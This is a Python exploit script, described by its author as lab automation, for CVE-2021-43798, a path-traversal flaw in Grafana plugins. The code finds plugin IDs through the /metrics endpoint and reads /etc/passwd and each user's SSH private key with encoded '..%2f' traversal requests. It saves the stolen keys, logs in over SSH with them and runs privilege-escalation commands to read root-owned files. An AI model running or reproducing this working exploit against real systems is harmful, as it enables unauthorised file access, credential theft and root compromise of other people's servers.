CVE_2021_43798.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

###################
#    This script implements a lab automation where I exploit
#    CVE-2021-43798 to steal user secrets and then gain privileges
#    on a Linux system.
#    Copyright (C) 2023  Maurice Lambert

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.

#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.

#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <https://www.gnu.org/licenses/>.
###################

"""
This script implements a lab automation where I exploit
CVE-2021-43798 to steal user secrets and then gain privileges
on a Linux system.
"""

__version__ = "0.0.1"
__author__ = "Maurice Lambert"
__author_email__ = "mauricelambert434@gmail.com"
__maintainer__ = "Maurice Lambert"
__maintainer_email__ = "mauricelambert434@gmail.com"
__description__ = (
    "This script implements a lab automation where I exploit "
    "CVE-2021-43798 to steal user secrets and then gain privileges"
    " on a Linux system."
)
license = "GPL-3.0 License"
__url__ = "https://github.com/mauricelambert/WebPayloadsEncodings"

copyright = """
LabAutomationCVE-2021-43798  Copyright (C) 2022, 2023  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
"""
__license__ = license
__copyright__ = copyright

__all__ = ["payloads_encodings"]

from argparse import ArgumentParser
from urllib.request import urlopen
from urllib.parse import urlparse
from re import compile as regex
from os import chmod, system
from sys import stdout

parser = ArgumentParser(description="Exploit CVE-2021-43798")
parser.add_argument('host', help="Host (hostname/ip:port).")
parser.add_argument('-s', '--ssl', action='store_true', help="Use SSL.")
parser.add_argument('-f', '--file', default='etc/passwd', help="File to read.")
arguments = parser.parse_args()

regex = regex(r'\{plugin_id="[^"]+'.encode())

bash_ssh_search_and_exploit_privileged_files = """{command} << EOF
sudo -l
find / -type f -perm /u=s,g=s 2>/dev/null
sudo install -m =xs /usr/bin/awk .
cat user.txt
./awk '{ print \$0 }' /root/root.txt
EOF
"""

base_url: str = ('https://' if arguments.ssl else 'http://') + arguments.host
host = urlparse(base_url).hostname

data = urlopen(base_url + '/metrics').read()

for plugin in regex.finditer(data):
    plugin = plugin.group()[12:].decode()
    print('[*] Plugin found:', plugin)
    try:
        data = urlopen(base_url + f'/public/plugins/{plugin}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' + arguments.file).read()
    except:
        continue
    else:
        if b'</html>' in data:
            continue

        stdout.buffer.write(data)
        response = urlopen(base_url + f'/public/plugins/{plugin}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd').read()
        
        users = []
        for line in response.splitlines():
            user = line.split(b':', 1)[0].decode()
            print("[*] Found system user:", user)
            users.append(user)
        users.reverse()

        for user in users:
            try:
                ssh_key = urlopen(base_url + f'/public/plugins/{plugin}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome/{user}/.ssh/id_rsa').read()
            except:
                continue
            else:
                print('[*] Found SSH key for user:', user)
                filename = user + '.key'
                command = f'ssh {user}@{host} -i {user}.key'
                
                with open(filename, 'wb') as file:
                    file.write(ssh_key)
                chmod(filename, 0o600)

                print(f'[*] SSH key saved in {filename!r} file, you can use it with: {command}')
                print(f'[*] Try a SSH connection and search potential privilege escalation files...')
                system(bash_ssh_search_and_exploit_privileged_files.replace('{command}', command))
                # stdout.buffer.write(ssh_key)

        break